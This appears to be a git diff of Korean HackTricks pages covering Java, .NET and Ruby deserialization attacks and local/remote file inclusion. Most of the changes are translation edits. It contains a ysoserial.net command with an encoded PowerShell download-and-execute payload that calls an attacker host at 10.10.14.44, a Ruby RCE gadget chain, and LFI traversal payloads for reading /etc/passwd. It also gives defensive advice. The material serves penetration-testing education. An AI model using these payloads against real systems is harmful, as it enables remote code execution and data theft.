-javaagent:name-of-agent.jar
|
||||
```
|
||||
|
@ -547,7 +525,7 @@ return super.resolveClass(desc);
|
|||
|
||||
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요.
|
||||
|
||||
**직렬화 필터 구현**: Java 9에서 **`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입하여 직렬화된 객체가 역직렬화되기 전에 충족해야 하는 기준을 지정할 수 있는 강력한 메커니즘을 제공했습니다. 이러한 필터는 전역적으로 적용하거나 스트림별로 적용하여 역직렬화 프로세스를 세밀하게 제어할 수 있습니다.
|
||||
**직렬화 필터 구현**: Java 9에서 **`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입하여 직렬화된 객체가 역직렬화되기 전 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공했습니다. 이러한 필터는 전역적으로 적용하거나 스트림별로 적용하여 역직렬화 프로세스를 세밀하게 제어할 수 있습니다.
|
||||
|
||||
직렬화 필터를 활용하기 위해 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 동적으로 구성할 수 있습니다. 예를 들어:
|
||||
```java
|
||||
|
@ -561,10 +539,10 @@ return Status.ALLOWED;
|
|||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**향상된 보안을 위한 외부 라이브러리 활용**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하는 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트 또는 블랙리스트, 역직렬화 전 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현 등 추가적인 보안 계층을 제공할 수 있습니다.
|
||||
**강화된 보안을 위한 외부 라이브러리 활용**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하는 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트 또는 블랙리스트, 역직렬화 전 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현 등 추가적인 보안 계층을 제공할 수 있습니다.
|
||||
|
||||
* **NotSoSerial**은 신뢰할 수 없는 코드 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
|
||||
* **jdeserialize**은 역직렬화하지 않고 직렬화된 Java 객체를 분석할 수 있어 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움이 됩니다.
|
||||
* **jdeserialize**는 직렬화된 Java 객체를 역직렬화하지 않고 분석할 수 있어 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움이 됩니다.
|
||||
* **Kryo**는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다.
|
||||
|
||||
### 참고 자료
|
||||
|
@ -583,7 +561,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
**JNDI Injection**이 무엇인지, **RMI, CORBA & LDAP**를 통해 어떻게 남용되며 **log4shell**을 어떻게 악용하는지 (이 취약점의 예시)를 다음 페이지에서 찾을 수 있습니다:
|
||||
**JNDI Injection**이 무엇인지, **RMI, CORBA & LDAP**를 통해 어떻게 악용되며 **log4shell**을 어떻게 이용하는지 (이 취약점의 예시)를 다음 페이지에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
|
@ -591,7 +569,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java Message Service** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 보내기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현체입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며 Sun Microsystems에서 개발된 명세에 따라 개발되었지만 현재는 Java Community Process에 의해 이끌리고 있습니다. Java EE를 기반으로 하는 응용 프로그램 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 분산 응용 프로그램의 다른 구성 요소 간 통신을 느슨하게 결합되고 신뢰성 있게 비동기적으로 만들어줍니다. (출처: [위키피디아](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> **Java Message Service** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현체입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며 Sun Microsystems에서 개발된 명세에 따라 개발되었지만 이후 Java Community Process에 의해 안내되었습니다. Java EE를 기반으로 하는 응용 프로그램 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 분산 응용 프로그램의 서로 다른 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만들 수 있습니다. (출처: [위키피디아](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### 제품
|
||||
|
||||
|
@ -603,12 +581,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
|
||||
### 악용
|
||||
|
||||
따라서 기본적으로 **위험한 방식으로 JMS를 사용하는 서비스들이 많이 있습니다**. 따라서 이러한 서비스로 메시지를 보낼 권한이 충분하다면 (보통 유효한 자격 증명이 필요합니다) **직렬화된 악의적 객체를 전송하여 소비자/구독자가 역직렬화할 수 있도록 할 수 있습니다**.\
|
||||
이는 이 악용에서 모든 **메시지를 사용할 클라이언트가 감염될 수 있다는 것을 의미**합니다.
|
||||
따라서 **JMS를 위험한 방식으로 사용하는 서비스들이 많이 있습니다**. 따라서 이러한 서비스로 메시지를 보낼 권한이 충분하다면 (일반적으로 유효한 자격 증명이 필요합니다) **직렬화된 악성 객체를 전송하여 소비자/구독자가 역직렬화할 수 있도록 할 수 있습니다**.\
|
||||
이는 이 악용에서 모든 **메시지를 사용할 클라이언트가 감염될 것**을 의미합니다.
|
||||
|
||||
서비스가 취약하더라도 (사용자 입력을 안전하게 역직렬화하지 않았기 때문에) 여전히 취약한 애플리케이션 내에 사용할 수 있는 유효한 가젯을 찾아야 합니다.
|
||||
|
||||
도구 [JMET](https://github.com/matthiaskaiser/jmet)은 **알려진 가젯을 사용하여 직렬화된 여러 악의적 객체를 보내는 방식으로 이 서비스에 연결하고 공격하는 데 사용**됩니다. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에만 작동합니다.
|
||||
도구 [JMET](https://github.com/matthiaskaiser/jmet)은 **알려진 가젯을 사용하여 직렬화된 여러 악성 객체를 보내 이 서비스에 연결하고 공격하는 데 만들어졌습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있는 경우에 작동할 것입니다.
|
||||
|
||||
### 참고 자료
|
||||
|
||||
|
@ -617,7 +595,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
|
||||
## .Net
|
||||
|
||||
.Net의 맥락에서, 역직렬화 악용은 Java에서 발견된 것과 유사하게 작동하며, 가젯이 객체의 역직렬화 중에 특정 코드를 실행하도록 악용됩니다.
|
||||
.NET의 맥락에서, 역직렬화 악용은 Java에서 발견된 것과 유사하게 작동하며, 가젯이 객체의 역직렬화 중에 특정 코드를 실행하도록 악용됩니다.
|
||||
### 지문
|
||||
|
||||
#### WhiteBox
|
||||
|
@ -627,7 +605,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
집중해야 할 부분은 사용자가 제어하는 변수에 따라 유형을 결정할 수 있는 직렬화 프로그램입니다.
|
||||
집중해야 할 부분은 사용자가 제어하는 변수에 따라 유형을 결정할 수 있는 직렬화기입니다.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
|
@ -635,20 +613,20 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
|
||||
### ysoserial.net
|
||||
|
||||
이 경우 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 도구를 사용하여 **역직렬화 exploit을 생성**할 수 있습니다. 깃 리포지토리를 다운로드한 후 Visual Studio와 같은 도구를 사용하여 **도구를 컴파일**해야 합니다.
|
||||
이 경우에는 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 도구를 사용하여 **역직렬화 exploit을 생성**할 수 있습니다. 깃 리포지토리를 다운로드한 후 Visual Studio와 같은 도구를 사용하여 **도구를 컴파일**해야 합니다.
|
||||
|
||||
**ysoserial.net**의 주요 옵션은 **`--gadget`**, **`--formatter`**, **`--output`**, **`--plugin`**입니다.
|
||||
|
||||
* **`--gadget`**은 악용할 가젯을 지정하는 데 사용됩니다 (역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
|
||||
* **`--formatter`**는 exploit을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 백엔드가 사용하는 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 합니다).
|
||||
* **`--output`**은 exploit을 **raw** 또는 **base64**로 인코딩할지를 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 인코딩할 것이므로 (Windows에서 기본적으로 사용되는 인코딩) 리눅스 콘솔에서 인코딩만 하면 **인코딩 호환성 문제**가 발생할 수 있어서 제대로 작동하지 않을 수 있습니다 (HTB JSON 상자에서 페이로드는 UTF-16LE 및 ASCII에서 모두 작동했지만 항상 작동한다는 의미는 아님)._
|
||||
* **`--gadget`**은 악용할 가젯을 지정하는 데 사용됩니다 (역직렬화 중 명령을 실행할 클래스/함수를 지정).
|
||||
* **`--formatter`**는 exploit을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 백엔드가 사용하는 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 함).
|
||||
* **`--output`**은 exploit을 **raw** 또는 **base64**로 인코딩할지를 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 인코딩할 것이므로 (Windows의 기본 인코딩), 리눅스 콘솔에서 인코딩만 하면 **인코딩 호환성 문제**가 발생할 수 있어서 제대로 작동하지 않을 수 있습니다 (HTB JSON 상자에서 페이로드는 UTF-16LE 및 ASCII에서 모두 작동했지만 항상 작동한다는 의미는 아님)._
|
||||
* **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크에 대한 exploit을 만들기 위한 플러그인**을 지원합니다.
|
||||
|
||||
#### 추가 ysoserial.net 매개변수
|
||||
|
||||
* `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우)
|
||||
* `--raf -f Json.Net -c "anything"` 이것은 제공된 포매터(`Json.Net` 이 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
|
||||
* `--sf xml`는 **가젯을 지정**할 수 있고 ysoserial.net은 "xml"을 포함하는 포매터를 검색합니다 (대소문자 구분 없음).
|
||||
* `--sf xml`은 "xml"을 포함하는 포매터를 찾아주는 가젯(`-g`)을 지정할 수 있습니다.
|
||||
|
||||
**ysoserial 예제**를 만들어보세요:
|
||||
```bash
|
||||
|
@ -668,7 +646,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net**에는 각 exploit이 어떻게 작동하는지 더 잘 이해할 수 있도록 도와주는 **매우 흥미로운 매개변수**인 `--test`가 있습니다. 이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 exploit을 시도**하여 페이로드가 올바르게 작동하는지 테스트할 수 있습니다. 이 매개변수는 유용한데, 코드를 검토하면 다음과 같은 코드 청크를 찾을 수 있습니다 ([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)에서).
|
||||
**ysoserial.net**에는 각 exploit이 어떻게 작동하는지 더 잘 이해할 수 있도록 도와주는 **매우 흥미로운 매개 변수**인 `--test`가 있습니다. 이 매개 변수를 지정하면 **ysoserial.net**이 **로컬에서 exploit을 시도**하여 페이로드가 올바르게 작동하는지 테스트할 수 있습니다. 이 매개 변수는 코드를 검토하면 다음과 같은 코드 청크를 찾을 수 있기 때문에 유용합니다 ([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)에서):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
|
@ -694,7 +672,7 @@ return obj;
|
|||
}
|
||||
```
|
||||
**이전 코드는 생성된 악용에 취약**합니다. 따라서 .Net 애플리케이션에서 유사한 것을 찾으면 해당 애플리케이션이 취약할 가능성이 높습니다.\
|
||||
따라서 **`--test`** 매개변수를 사용하여 **ysoserial.net**이 생성할 수 있는 직렬화 악용에 취약한 **어떤 코드 청크인지 이해**할 수 있습니다.
|
||||
따라서 **`--test`** 매개변수를 사용하여 **ysoserial.net**이 생성할 직렬화 악용에 취약한 **어떤 코드 청크인지 이해**할 수 있습니다.
|
||||
|
||||
### ViewState
|
||||
|
||||
|
@ -704,15 +682,15 @@ return obj;
|
|||
|
||||
.Net에서 직렬화와 관련된 위험을 줄이려면 다음을 수행하세요:
|
||||
|
||||
* **데이터 스트림이 객체 유형을 정의하지 못하도록**합니다. 가능한 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용합니다.
|
||||
* **데이터 스트림이 객체 유형을 정의하지 못하도록** 허용하지 않습니다. 가능한 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용합니다.
|
||||
* **`JSON.Net`의 경우 `TypeNameHandling`을 `None`으로 설정:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **`JavaScriptSerializer`와 `JavaScriptTypeResolver`를 함께 사용하지 않습니다.**
|
||||
* **직렬화할 수 있는 유형을 제한**하여 .Net 유형과 관련된 잠재적 위험을 이해합니다. 예를 들어 `System.IO.FileInfo`와 같은 유형은 서버 파일 속성을 수정할 수 있어 거부 서비스 공격으로 이어질 수 있습니다.
|
||||
* **직렬화할 수 있는 유형을 제한**하여 .Net 유형과 관련된 잠재적 위험을 이해합니다. 예를 들어 `System.IO.FileInfo`와 같은 유형은 서버 파일 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
|
||||
* **위험한 속성을 가진 유형에 주의**를 기울입니다. `System.ComponentModel.DataAnnotations.ValidationException`의 `Value` 속성과 같이 악용할 수 있는 속성이 있는 경우입니다.
|
||||
* **타입 인스턴스화를 안전하게 제어**하여 공격자가 직렬화 프로세스에 영향을 미치지 못하도록 합니다. 심지어 `DataContractSerializer` 또는 `XmlSerializer`도 취약해질 수 있습니다.
|
||||
* `BinaryFormatter` 및 `JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 **화이트리스트 컨트롤을 구현**합니다.
|
||||
* .Net 내에서 알려진 불안전한 직렬화 가젯에 대해 **정보를 받아들이고** 직렬화기가 이러한 유형을 인스턴스화하지 않도록 합니다.
|
||||
* 알려진 가젯 노출을 피하기 위해 **잠재적으로 위험한 코드를 격리**합니다. 예를 들어 WPF 애플리케이션에서 `System.Windows.Data.ObjectDataProvider`를 신뢰할 수 없는 데이터 소스에 노출하지 않도록 합니다.
|
||||
* **공격자가 직렬화 프로세스에 영향을 미치지 못하도록 유형 인스턴스화를 안전하게 제어**합니다. 심지어 `DataContractSerializer` 또는 `XmlSerializer`도 취약해질 수 있습니다.
|
||||
* `BinaryFormatter` 및 `JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 **화이트리스트 제어를 구현**합니다.
|
||||
* .Net 내에서 알려진 불안전한 직렬화 가젯에 대해 **알아두고 직렬화기가 해당 유형을 인스턴스화하지 않도록**합니다.
|
||||
* **잠재적으로 위험한 코드를 격리**하여 알려진 가젯(예: WPF 애플리케이션의 `System.Windows.Data.ObjectDataProvider`)이 신뢰할 수 없는 데이터 소스에 노출되지 않도록 합니다.
|
||||
|
||||
### **참고 자료**
|
||||
|
||||
|
@ -732,7 +710,7 @@ return obj;
|
|||
* `config/secrets.yml`
|
||||
* `/proc/self/environ`
|
||||
|
||||
**루비 2.X 일반 직렬화를 RCE 가젯 체인으로 변환 (자세한 정보는** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**루비 2.X 일반 직렬화에서 RCE 가젯 체인(자세한 정보는** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
|
@ -803,4 +781,55 @@ require "base64"
|
|||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
다른 RCE 체인은 루비 온 레일즈 취약점을 악용합니다: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
다른 RCE 체인으로 루비 온 레일즈 취약점을 악용할 수 있습니다: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() 메소드
|
||||
|
||||
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명한 대로, 어떤 사용자가 루비 객체의 `.send()` 메소드에 살균되지 않은 입력을 전달하면, 이 메소드를 통해 객체의 **다른 메소드를** 임의의 매개변수와 함께 **호출**할 수 있습니다.
|
||||
|
||||
예를 들어, eval을 호출한 다음에 두 번째 매개변수로 루비 코드를 전달하면 임의의 코드를 실행할 수 있습니다:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
또한, 이전 설명에서 언급된 대로 **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, **인수가 필요하지 않은 메서드** 또는 인수가 **기본값을 가지는 메서드**를 호출할 수 있습니다.\
|
||||
이를 위해 객체의 모든 메서드를 나열하여 **해당 요구 사항을 충족하는 흥미로운 메서드를 찾을 수 있습니다**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
# This code is taken from the original blog post
|
||||
# <Object> in this case is Repository
|
||||
## Find methods with those requirements
|
||||
repo = Repository.find(1) # get first repo
|
||||
repo_methods = [ # get names of all methods accessible by Repository object
|
||||
repo.public_methods(),
|
||||
repo.private_methods(),
|
||||
repo.protected_methods(),
|
||||
].flatten()
|
||||
|
||||
repo_methods.length() # Initial number of methods => 5542
|
||||
|
||||
## Filter by the arguments requirements
|
||||
candidate_methods = repo_methods.select() do |method_name|
|
||||
[0, -1].include?(repo.method(method_name).arity())
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 기여하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,7 +19,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
**HackenProof Discord** 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터와 소통하세요!
|
||||
|
||||
**해킹 통찰**\
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠에 참여하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요
|
||||
|
@ -31,10 +31,10 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 파일 포함
|
||||
|
||||
**원격 파일 포함 (RFI):** 파일이 원격 서버에서 로드됩니다 (최상: 코드를 작성하고 서버가 실행함). PHP에서는 이 기능이 **기본적으로 비활성화**되어 있습니다 (**allow\_url\_include**).\
|
||||
**원격 파일 포함 (RFI):** 파일이 원격 서버에서 로드됩니다 (최상: 코드를 작성하고 서버가 실행함). PHP에서는 이 기능이 기본적으로 **비활성화**됩니다 (**allow\_url\_include**).\
|
||||
**로컬 파일 포함 (LFI):** 서버가 로컬 파일을 로드합니다.
|
||||
|
||||
사용자가 서버가 로드할 파일을 어떤 방식으로든 제어할 수 있는 경우 취약점이 발생합니다.
|
||||
이 취약점은 사용자가 서버에서 로드될 파일을 어떤 방식으로든 제어할 수 있을 때 발생합니다.
|
||||
|
||||
취약한 **PHP 함수**: require, require\_once, include, include\_once
|
||||
|
||||
|
@ -44,33 +44,33 @@ HackTricks를 지원하는 다른 방법:
|
|||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **리눅스**
|
||||
### **Linux**
|
||||
|
||||
**여러 \*nix LFI 목록을 섞고 더 많은 경로를 추가하여 이것을 만들었습니다:**
|
||||
**여러 \*nix LFI 목록을 섞고 더 많은 경로를 추가하여 다음을 만들었습니다:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
`/`를 `\`로 변경해보세요.\
|
||||
`../../../../../`를 추가해보세요.
|
||||
`/`를 `\`로 변경해보세요\
|
||||
`../../../../../`를 추가해보세요
|
||||
|
||||
취약점이 존재하는지 확인하기 위해 파일 /etc/password을 찾기 위해 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
|
||||
취약점이 존재하는지 확인하기 위해 /etc/password 파일을 찾는 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
|
||||
|
||||
### **윈도우**
|
||||
### **Windows**
|
||||
|
||||
다양한 워드리스트 병합:
|
||||
다양한 워드리스트를 병합:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
`/`를 `\`로 변경해보세요.\
|
||||
`C:/`를 제거하고 `../../../../../`를 추가해보세요.
|
||||
`/`를 `\`로 변경해보세요\
|
||||
`C:/`를 제거하고 `../../../../../`를 추가해보세요
|
||||
|
||||
취약점이 존재하는지 확인하기 위해 파일 /boot.ini을 찾기 위해 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
|
||||
취약점이 존재하는지 확인하기 위해 /boot.ini 파일을 찾는 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
|
||||
|
||||
### **OS X**
|
||||
|
||||
리눅스의 LFI 목록을 확인하세요.
|
||||
Linux의 LFI 목록을 확인하세요.
|
||||
|
||||
## 기본 LFI 및 우회
|
||||
## Basic LFI and bypasses
|
||||
|
||||
모든 예제는 로컬 파일 포함을 위한 것이지만 원격 파일 포함에도 적용할 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
```
|
||||
|
@ -92,7 +92,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
|||
|
||||
### **인코딩**
|
||||
|
||||
이중 URL 인코딩(및 기타)과 같은 비표준 인코딩을 사용할 수 있습니다:
|
||||
이중 URL 인코딩(및 기타)와 같은 비표준 인코딩을 사용할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -107,13 +107,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
```
|
||||
### 서버의 파일 시스템 디렉토리 탐색
|
||||
|
||||
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재 여부를 조사하는 것을 포함합니다. 아래에는 이를 달성하기 위한 자세한 방법이 나와 있습니다:
|
||||
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재를 조사하는 것을 포함합니다. 아래에는 이를 달성하기 위한 자세한 방법이 나와 있습니다:
|
||||
|
||||
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하기 위해 `/etc/passwd` 파일을 성공적으로 가져오는 것으로 현재 디렉토리의 깊이를 확인합니다 (서버가 Linux 기반인 경우 해당). 깊이가 세 개인 경우 다음과 같이 구성된 예시 URL이 있을 수 있습니다:
|
||||
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하려면 `/etc/passwd` 파일을 성공적으로 가져오는 것으로 확인할 수 있습니다(서버가 Linux 기반인 경우 해당). 깊이가 세 개인 경우 다음과 같이 구성된 예시 URL이 있을 수 있습니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **폴더 조사:** 의심스러운 폴더 이름(예: `private`)을 URL에 추가한 다음, `/etc/passwd`로 이동합니다. 추가된 디렉토리 수준은 깊이를 하나 증가해야 합니다:
|
||||
2. **폴더 조사:** 의심스러운 폴더 이름 (예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 이동합니다. 추가된 디렉토리 수준은 깊이를 하나 증가해야 합니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
|
@ -122,7 +122,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
|||
* **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
|
||||
4. **재귀적 탐색:** 발견된 폴더는 동일한 기술 또는 전통적인 로컬 파일 포함 (LFI) 방법을 사용하여 하위 디렉토리나 파일을 더 탐색할 수 있습니다.
|
||||
|
||||
다른 위치의 디렉토리를 탐색하기 위해 페이로드를 조정합니다. 예를 들어, `/var/www/`에 `private` 디렉토리가 포함되어 있는지 확인하려면 (현재 디렉토리가 깊이 3에 있는 것으로 가정), 다음을 사용하세요:
|
||||
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 조정하십시오. 예를 들어, `/var/www/`에 `private` 디렉토리가 포함되어 있는지 확인하려면 (현재 디렉토리가 깊이 3에 있는 것으로 가정), 다음을 사용하십시오:
|
||||
```bash
|
||||
